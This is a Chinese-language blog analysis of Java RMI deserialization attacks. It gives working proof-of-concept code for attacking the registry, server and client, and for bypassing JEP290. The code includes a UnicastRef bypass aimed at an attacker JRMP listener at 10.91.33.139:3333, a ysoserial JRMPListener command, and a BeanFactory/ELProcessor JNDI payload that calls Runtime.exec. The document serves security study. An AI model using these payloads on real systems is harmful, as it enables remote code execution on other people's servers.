Java RMI攻击分析与总结

RMI简介

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。它是由注册中心、服务端和客户端三部分组成。

  • 注册中心

    作为存储远程方法的代理对象的仓库。

  • 服务端

    暴露远程对象,并将其代理对象注册进 RMI Registry。一个代理对象在服务端中包含一个skeleton对象,用于接受来自stub对象的调用。

  • 客户端

    查找远程代理对象,远程调用服务对象。一个代理对象在调用该远程对象的客户端上包含一个stub对象,负责调用参数和返回值的序列化、打包解包,以及网络层的通讯过程。

攻击方式

RMI的各种攻击方式本质上是利用对象传输过程中反序列化实现的,以下是几种常见的攻击方式。

攻击注册中心

当服务端向注册中心注册时,注册中心会反序列化服务端绑定的对象,具体体现在sun.rmi.registry.RegistryImpl_Skel#dispatch。当服务端注册绑定的是一个恶意的对象时,就可造成反序列化漏洞。当然,由于绑定的对象需要时Remote对象,所以恶意对象需要实现使用代理类或改写注册方法才能注册绑定。

在远程方法实例化的过程中,调用的父类java.rmi.server.UnicastRemoteObject的构造方法,最终是调用了sun.rmi.server.Util#createProxy方法创建Remote的动态代理类对象并返回。

POC中的动态代理类按照createProxy方法中逻辑写即可,其中InvocationHandler子类通常选择sun.reflect.annotation.AnnotationInvocationHandler,它具有Map<String, Object>类型的属性memberValues可以很方便的绑定反序列化的恶意对象。

最终POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("obj", evilObject());

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remoteObj = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
invocationHandler
);

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1009);
registry.bind("AttackRegistry", remoteObj);

攻击服务端

反序列化参数

攻击服务端其中一种方法是通过反序列化远程方法参数实现的。服务端反序列化参数体现在sun.rmi.server.UnicastServerRef#dispatch方法里调用的unmarshalParameters方法,最终通过sun.rmi.server.UnicastRef#unmarshalValue方法反序列化非基本类型的参数。

1
2
3
4
5
6
7
 protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
...
} else {
return var1.readObject();
}
}

反序列化参数的利用POC比较简单,但需要服务端以Object未参数的远程方法,Demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 接口
public interface IRemoteMethod extends Remote {
public IRemoteMethod exploit(Object obj) throws RemoteException;
}

# 实现类
public class RemoteMethod extends UnicastRemoteObject implements IRemoteMethod {

protected RemoteMethod() throws RemoteException {
}

public IRemoteMethod exploit(Object obj) throws RemoteException {
return null;
}
}

然后在客户端里放上同样的接口,从注册中心获取远程方法信息,并以恶意对象调用远程方法即可。

1
2
3
4
public static void main(String[] args) throws Exception {
IRemoteMethod remoteMethod = (IRemoteMethod) new InitialContext().lookup("rmi://192.168.78.137:1009/RemoteMethod"");
remoteMethod.exploit(evilObject());
}

对于非Object参数,但又是Object子类的远程方法,可以用动态代理或继承该子类的方法绕过。

攻击客户端

反序列化注册绑定对象

当客户端lookup时,也会从注册中心获取并反序列化注册绑定的对象,这时的反序列化是在存根sun.rmi.registry.RegistryImpl_Stub#lookup方法中进行。POC的构造也与注册中心反序列化的差不多,只是改成由注册中心注册绑定恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("obj", evilObject());

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remoteObj = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
invocationHandler
);

Registry registry = LocateRegistry.createRegistry(1009);
registry.bind("AttackRegistry", remoteObj);

反序列化返回值

当远程方法的返回值不为空,且不为基础类型时,就会对返回值进行反序列化。反序列化返回值与服务端反序列化参数的调用栈类似,最终都是通过sun.rmi.server.UnicastRef#unmarshalValue方法反序列化。

POC也很简单,远程方法直接返回恶意对象即可:

1
2
3
4
5
6
public class AttackerRemoteMethod extends UnicastRemoteObject implements IAttackerRemoteMethod {

public Object exploit() throws RemoteException {
return evilObject();
}
}

JEP290及其绕过

JEP290是JDK9引入的规范,并且向下兼容到JDK 8u121、JDK 7u131和JDK 6u141。其核心机制是由序列化客户端实现并设置在ObjectInputStream,在反序列化过程中调用过滤器接口方法来验证正在反序列化的类、正在创建的数组的大小以及反序列化的长度、深度和反序列化时引用的数量,返回REJECTEDALLOWEDUNDECIDED状态。他的过滤接口方法并不是默认配置的,而是通过jdk.serialFilter属性设置全局过滤接口方法或setObjectInputFilter方法设置局部过滤接口方法。

在RMI反序列化过程中仅注册中心在sun.rmi.registry.RegistryImpl#registryFilter中实现,对反序列化的深度、数组大小和反序列化的类做了限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}

if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}

UnicastRef 类绕过

UnicastRef 是RMI注册中心反序列化白名单中的类,是正常bind对象后注册中心得到的stub中的属性。

下面调试下正常的注册流程,直接在sun.rmi.registry.RegistryImpl_Skel#dispatch处,注册中心反序列化服务端bind对象开始。接着调用封装类的父类RemoteObject的自定义readObject方法。在这里会实例化Reference类UnicastRef,并调用他的readExternal反序列化。readExternal里接着调用sun.rmi.transport.LiveRef#readUnicastRefref属性赋值。

1
2
3
4
5
6
read:291, LiveRef (sun.rmi.transport)
readExternal:489, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
...
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)

sun.rmi.transport.LiveRef#read方法里,主要逻辑是从输入流中获取TCPEndpointObjID,来初始化LiveRef并返回。这里的TCPEndpoint记录着服务端监听的地址和端口,并且方法里保存LiveRef到输入流的操作会将TCPEndpoint保存到输入流的incomingRefTable属性中,这一步很关键。

反序列化结束后就是注册引用的流程。

sun.rmi.transport.DGCImpl_Stub#dirty方法首先利用反序列化的UnicastRef建立连接,返回一个StreamRemoteCall对象,接着调用它的invoke方法。

invoke方法最后调用的是StreamRemoteCall对象的executeCall方法,通过getInputStream方法从conn属性获取输入流赋值给in属性,然后从输入流中获取一个字节赋给var1,进入switch语句中,为2则反序列化输入流。至此与UnicateRef绕过JEP290的流程就结束了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public void executeCall() throws Exception {
DGCAckHandler var2 = null;

byte var1;
try {
...

this.getInputStream();
var1 = this.in.readByte();
this.in.readID();
} catch (UnmarshalException var11) {
...
}

switch(var1) {
case 1:
return;
case 2:
Object var14;
try {
var14 = this.in.readObject();
} catch (Exception var10) {
throw new UnmarshalException("Error unmarshaling return", var10);
}
...
}
...
}

关于这个var1作用,查了AdoptOpenJDK的源码得知是JRMP协议中返回值的标记,正常返回值不会进行反序列化。UnicastRef绕过JEP290使用ysoserial中的JRMPlistener,其将报错返回改成反序列化的payload,实现命令执行。

最后服务端的代码如下,相比正常的流程可以控制LiveRef指向恶意的服务端ip和端口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class UnicastRefBypass {

public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("localhost", 1009);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("10.91.33.139", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(UnicastRefBypass.class.getClassLoader(), new Class[]{
Registry.class
}, obj);
reg.bind("UnicastRefBypass", proxy);
}
}

UnicastRemoteObject类绕过

在8u231的修复中,sun.rmi.transport.DGCImpl_Stub#dirty提前为输入流filter属性设置了过滤接口方法,在后续sun.rmi.transport.StreamRemoteCall#executeCall中又捕获过滤接口方法抛出的InvalidClassException异常,清空输入流中incomingRefTable属性的值。前者使得利用UnicastRef类绕过方式在反序列化Exception返回值时无法反序列化任意类。

国外安全研究员An Trinh在8u231版本发布前提出的一种绕过方式,没有使用注册流程中注册中心发起连接到服务端的输入流,而是利用注册中心在反序列化服务端绑定的对象过程中发起JRMP请求,巧妙地绕过了过滤。

先从直接反序列化构造的对象来复现下这个POC,首先用ysoserial起一个JRMPListener的exploit。

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "calc"

然后再现在下面的POC反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
obj
);

Constructor constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
Field field = UnicastRemoteObject.class.getDeclaredField("ssf");
field.setAccessible(true);
field.set(unicastRemoteObject, serverSocketFactory);

// Registry reg = LocateRegistry.getRegistry("localhost", 1009);
// reg.bind("Exploit", unicastRemoteObject);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(unicastRemoteObject);

byte[] result = byteArrayOutputStream.toByteArray();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();

调用栈很长,先从java.rmi.server.UnicastRemoteObject#reexport方法开始。当csfssf属性非空时,会用csfssf实例化一个UnicastServerRef2对象,并调用UnicastServerRef2父类UnicastServerRefexportObject方法。

UnicastServerRefexportObject方法就是实现监听端口的操作。后续精彩的部分来了,监听端口的操作会调用sun.rmi.transport.tcp.TCPEndpoint#newServerSocket方法,其中会调用它的ssf属性的方法,这个ssf属性与前面UnicastRemoteObject对象的ssf属性一致,是封装RemoteObjectInvocationHandler的代理类对象。由于代理类的特性,会先调用RemoteObjectInvocationHandler类的invoke方法。再后面的调用栈与客户端调用远程方法的调用栈一致,也就是原本的注册中心变成了客户端,由于客户端没有启动JEP290设置,也就绕过了注册中心的JEP290限制。

单在实际注册绑定的过程中,构造的类会在RegistryImpl_Stub的bind方法中,序列化类的输出流ConnectionOutputStream的父类MarshalOutputStreamenableReplace属性永为true,代理类被替换为UnicastRef造成利用链被破坏,所以实际利用中要想办法将enableReplace值改为falseysomap中有实现方法,感兴趣可有看一看。

trustURLCodebase绕过

除了以上注册中心JEP290的限制之外,RMI中服务端对客户端的攻击:JNDI注入,使用rmi和ldap协议加载外部工厂类也先后受到trustURLCodebase的限制,只能从本地工厂类实例化对象。

本地工厂类绕过

使用本地工厂类进行JNDI注入和RMI协议远程加载恶意类的JNDI注入开头的调用栈基本相似,毕竟两者都是基于RMI协议的,但在javax.naming.spi.NamingManager#getObjectInstance这里开始就有所不同。在调用getObjectFactoryFromReference方法时返回的是本地正常的工厂类,这个工厂类是ObjectFactory的实现类或他的子类,然后调用工厂类的getObjectInstance方法。

现在比较通用的ObjectFactory实现类是BeanFactory,他的getObjectInstance方法会从ResourceRef对象的className属性获取类名并实例化,然后从forceString的String引用地址以=号分割获取参数名和setter方法名,并反射获取这个setter参数为String的方法,最后获取参数名的String引用地址内内容,用实例化的对象调用这个setter方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {

if (obj instanceof ResourceRef) {

try {

Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException
("Class not found: " + beanClassName);
}

...

Object bean = beanClass.getConstructor().newInstance();

/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;

if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;

/* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
...
}
try {
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
...
}
}
}

Enumeration<RefAddr> e = ref.getAll();

while (e.hasMoreElements()) {

ra = e.nextElement();
String propName = ra.getType();

if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}

value = (String)ra.getContent();

Object[] valueArray = new Object[1];

/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (...) {
...
}
continue;
}
...
}
return bean;

} catch (java.beans.IntrospectionException ie) {
...
}
} else {
return null;
}
}

结合以上getObjectInstance代码逻辑,被反射的类需要符合以下条件才可被利用:

  • 具有一个无参公有构造方法
  • 具有一个公有、参数为String类型的方法

一些使用了tomcat-embed-el依赖的项目,或者部分tomcat和spring的版本下具有的javax.el.ELProcessor类和他的eval方法符合这些条件,最终构造出用于绑定的Remote对象如下:

1
2
3
4
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String) null, "", "", true, "org.apache.naming.factory.BeanFactory", (String) null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);

参考

https://mp.weixin.qq.com/s/AG0OfLfQWW-winIWiOtwLQ

https://su18.org/post/rmi-attack/

http://pipinstall.cn/2021/05/31/%E6%B7%B1%E5%85%A5%E5%AD%A6%E4%B9%A0RMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://xz.aliyun.com/t/7932

https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1

https://www.anquanke.com/post/id/263726

https://tttang.com/archive/1405/

https://mp.weixin.qq.com/s/gBuKDjRfnbJDv6TG5F6q3w

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×